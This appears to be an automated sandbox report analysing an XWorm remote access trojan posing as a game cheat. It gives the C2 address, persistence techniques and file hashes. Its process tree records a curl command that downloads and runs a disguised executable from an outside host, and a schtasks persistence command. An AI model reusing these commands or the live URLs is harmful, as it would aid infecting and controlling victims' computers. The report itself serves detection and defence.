xworm | hxxps://cdn[.]discordapp[.]com/attachments/1309185645029228554/1309649026550857769/Revised_Cheat[.]exe?ex=67425934&is=674107b4&hm=fa4f46eb18ca5675cb7cbc1e9ef0f246de67948f80e1b7d4edca84b09d639dda&

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
22/11/2024, 22:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://cdn.discordapp.com/attachments/1309185645029228554/1309649026550857769/Revised_Cheat.exe?ex=67425934&is=674107b4&hm=fa4f46eb18ca5675cb7cbc1e9ef0f246de67948f80e1b7d4edca84b09d639dda&

Score

10^/10

xworm discovery persistence rat trojan

Malware Config

Extracted

Family

xworm

127.0.0.1:1337

104.198.168.179:1337

Attributes

Install_directory
%Temp%
install_file
svchost.exe

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0007000000023c8a-65.dat	family_xworm
behavioral1/memory/2360-67-0x0000000000AD0000-0x0000000000AEA000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm
Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	StartMenuExperienceHost.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	StartMenuExperienceHost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	StartMenuExperienceHost.exe

Executes dropped EXE 4 IoCs

pid	Process
3252	Revised Cheat.exe
2360	StartMenuExperienceHost.exe
3404	svchost.exe
1676	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Local\\Temp\\svchost.exe"	StartMenuExperienceHost.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
41	ip-api.com

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\StartMenuExperienceHost.exe	curl.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 172887.crdownload:SmartScreen	msedge.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4588	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2360	StartMenuExperienceHost.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
4844	msedge.exe
4844	msedge.exe
3996	msedge.exe
3996	msedge.exe
3116	identity_helper.exe
3116	identity_helper.exe
532	msedge.exe
532	msedge.exe
2360	StartMenuExperienceHost.exe
2360	StartMenuExperienceHost.exe
756	msedge.exe
756	msedge.exe
756	msedge.exe
756	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2360	StartMenuExperienceHost.exe
Token: SeDebugPrivilege	2360	StartMenuExperienceHost.exe
Token: SeDebugPrivilege	3404	svchost.exe
Token: SeDebugPrivilege	1676	svchost.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe
3996	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2360	StartMenuExperienceHost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3996 wrote to memory of 2472	3996	msedge.exe	82
PID 3996 wrote to memory of 2472	3996	msedge.exe	82
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4516	3996	msedge.exe	83
PID 3996 wrote to memory of 4844	3996	msedge.exe	84
PID 3996 wrote to memory of 4844	3996	msedge.exe	84
PID 3996 wrote to memory of 1120	3996	msedge.exe	85
PID 3996 wrote to memory of 1120	3996	msedge.exe	85
PID 3996 wrote to memory of 1120	3996	msedge.exe	85
PID 3996 wrote to memory of 1120	3996	msedge.exe	85
PID 3996 wrote to memory of 1120	3996	msedge.exe	85
PID 3996 wrote to memory of 1120	3996	msedge.exe	85
PID 3996 wrote to memory of 1120	3996	msedge.exe	85
PID 3996 wrote to memory of 1120	3996	msedge.exe	85
PID 3996 wrote to memory of 1120	3996	msedge.exe	85
PID 3996 wrote to memory of 1120	3996	msedge.exe	85
PID 3996 wrote to memory of 1120	3996	msedge.exe	85
PID 3996 wrote to memory of 1120	3996	msedge.exe	85
PID 3996 wrote to memory of 1120	3996	msedge.exe	85
PID 3996 wrote to memory of 1120	3996	msedge.exe	85
PID 3996 wrote to memory of 1120	3996	msedge.exe	85
PID 3996 wrote to memory of 1120	3996	msedge.exe	85
PID 3996 wrote to memory of 1120	3996	msedge.exe	85
PID 3996 wrote to memory of 1120	3996	msedge.exe	85
PID 3996 wrote to memory of 1120	3996	msedge.exe	85
PID 3996 wrote to memory of 1120	3996	msedge.exe	85

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://cdn.discordapp.com/attachments/1309185645029228554/1309649026550857769/Revised_Cheat.exe?ex=67425934&is=674107b4&hm=fa4f46eb18ca5675cb7cbc1e9ef0f246de67948f80e1b7d4edca84b09d639dda&
1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3996
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffcfcd946f8,0x7ffcfcd94708,0x7ffcfcd94718
  2⤵
  PID:2472
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2184,6484642065519527118,1066380990899538263,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2196 /prefetch:2
  2⤵
  PID:4516
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2184,6484642065519527118,1066380990899538263,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4844
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2184,6484642065519527118,1066380990899538263,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2896 /prefetch:8
  2⤵
  PID:1120
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,6484642065519527118,1066380990899538263,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3360 /prefetch:1
  2⤵
  PID:3004
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,6484642065519527118,1066380990899538263,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3376 /prefetch:1
  2⤵
  PID:1496
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2184,6484642065519527118,1066380990899538263,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4980 /prefetch:8
  2⤵
  PID:2924
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2184,6484642065519527118,1066380990899538263,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4980 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,6484642065519527118,1066380990899538263,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5376 /prefetch:1
  2⤵
  PID:2648
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,6484642065519527118,1066380990899538263,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5060 /prefetch:1
  2⤵
  PID:2780
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,6484642065519527118,1066380990899538263,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5360 /prefetch:1
  2⤵
  PID:4372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,6484642065519527118,1066380990899538263,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5124 /prefetch:1
  2⤵
  PID:548
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2184,6484642065519527118,1066380990899538263,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5192 /prefetch:8
  2⤵
  PID:4364
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,6484642065519527118,1066380990899538263,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5728 /prefetch:1
  2⤵
  PID:2140
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2184,6484642065519527118,1066380990899538263,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6352 /prefetch:8
  2⤵
  PID:2940
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2184,6484642065519527118,1066380990899538263,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3560 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:532
- C:\Users\Admin\Downloads\Revised Cheat.exe
  "C:\Users\Admin\Downloads\Revised Cheat.exe"
  2⤵
  - Executes dropped EXE
  PID:3252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl https://r2.hypixel.cfd/svchost.exe -o C:\Windows\StartMenuExperienceHost.exe --silent
    3⤵
    PID:2976
  - - C:\Windows\system32\curl.exe
      curl https://r2.hypixel.cfd/svchost.exe -o C:\Windows\StartMenuExperienceHost.exe --silent
      4⤵
      Drops file in Windows directory
      PID:4780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\StartMenuExperienceHost.exe
    3⤵
    PID:2752
  - - C:\Windows\StartMenuExperienceHost.exe
      C:\Windows\StartMenuExperienceHost.exe
      4⤵
      Checks computer location settings
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      Suspicious behavior: AddClipboardFormatListener
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:2360
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4588
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2184,6484642065519527118,1066380990899538263,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5812 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:756

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4824

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:312

C:\Users\Admin\AppData\Local\Temp\svchost.exe
C:\Users\Admin\AppData\Local\Temp\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3404

C:\Users\Admin\AppData\Local\Temp\svchost.exe
C:\Users\Admin\AppData\Local\Temp\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
6960857d16aadfa79d36df8ebbf0e423

SHA1
e1db43bd478274366621a8c6497e270d46c6ed4f

SHA256
f40b812ce44e391423eb66602ac0af138a1e948aa8c4116045fef671ef21cd32

SHA512
6deb2a63055a643759dd0ae125fb2f68ec04a443dbf8b066a812b42352bbcfa4517382ed0910c190c986a864559c3453c772e153ee2e9432fb2de2e1e49ca7fe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
f426165d1e5f7df1b7a3758c306cd4ae

SHA1
59ef728fbbb5c4197600f61daec48556fec651c1

SHA256
b68dfc21866d0abe5c75d70acc54670421fa9b26baf98af852768676a901b841

SHA512
8d437fcb85acb0705bf080141e7a021740901248985a76299ea8c43e46ad78fb88c738322cf302f6a550caa5e79d85b36827e9b329b1094521b17cf638c015b6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
186B

MD5
094ab275342c45551894b7940ae9ad0d

SHA1
2e7ce26fe2eb9be641ae929d0c9cc0dfa26c018e

SHA256
ef1739b833a1048ee1bd55dcbac5b1397396faca1ad771f4d6c2fe58899495a3

SHA512
19d0c688dc1121569247111e45de732b2ab86c71aecdde34b157cfd1b25c53473ed3ade49a97f8cb2ddc4711be78fa26c9330887094e031e9a71bb5c29080b0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
289601f504a9011c5156b2e472c49e18

SHA1
f1c6d738aebe147cc95c3d3f7f9e81d15fcd1ec2

SHA256
3ebbbe998aaec77a38ada093d29b86378db4680fcc1194054e63e9b9795667dd

SHA512
1e65e19717f614cc0dfc78c5420a711809ccd37c35c50380494cd38668a53f39f7d27fba99b1680abc9785182412a4a318e178e24ae90d5f0b1457a746993dd2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
95a8d3527b4b255536730b7b9e3cf7a2

SHA1
6ca76496eccf9418c61c32c6ba31e0e3175bec17

SHA256
536659f49acbb4b86f9036d1205fddcaccf6cfeb82e70a67b07572de6b0a29e5

SHA512
6d8ffc6b571a0695afce40b769cad734b2970fbec7f626113513fd06823f34ad2e5b936dcfb92647da7aac4393516cbcc9c6003a11f0dfdc6d71989c7965f208

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
6e158c0a1ebdc68c8a19fe50f6a0ac60

SHA1
c769df7bdbd1a6f89dc5cf696edc0f9b41e53955

SHA256
06bf9319bff84ead9aef61b9eb9702ba58288ec248b9a83da34012e5434e8aed

SHA512
49558be14348881a8d28adb743d5edaac5e02319fec25fa58b51440f77c24bfccc01411fe236a1ab5a99f96452256045c30f806736f73fc1e4e0c24e8e868735

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
aac649afbbd0874bd3fe94642fbe1808

SHA1
a8c670df42d545fe5ad2589982086ca9945f6e5c

SHA256
e4ec79dc69357ad132517ab47c49480799b4947da2bdd2123481d7c027472ca2

SHA512
6e576db37c1b6e60f8ba844fa712978f2a7d8079a86efdd9b7b514466bc805eb16c1f7f4694b68815193be3d339760fbe93690a32b237d64f9fc5f775b53573b

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 172887.crdownload

Filesize
16KB

MD5
e94008749e7ee39f6abfe4fae55676c9

SHA1
90e52b34b843ffb46c94d7550f649cd740142a7e

SHA256
319a853557ccc25661a92d7bc160c9ed8ddc38ffcb2cf61411df921a27ff877b

SHA512
0ef91a31141f25aa1ef39c16530948bb5fbad73e22ab50879c34c1d74fbf4cc5132e6b46e57458ceef95f9cc909e9fcf6abe52e6ad520936c9329eb4da9a4023

Download Submit
C:\Windows\StartMenuExperienceHost.exe

Filesize
78KB

MD5
9d9d23a73f3b3f53e8581d8bb31953c4

SHA1
eadd04f6def413c3987529ac88e5e69c89563852

SHA256
4c17f40a56758579cdc2356a9276f92cfa3ed2e56dbb89816e5eaa15cff0e6f3

SHA512
fcae7ae9d0eab656cc37469a3aab9b5a6c14fde68eb3dd576f8ba8c7dc24fcaf7c8140c5d565e843fbd9a482f29d37a3093b7c95717924a4aa11f3b0704b7622

Download Submit
memory/2360-67-0x0000000000AD0000-0x0000000000AEA000-memory.dmp

Filesize
104KB

Download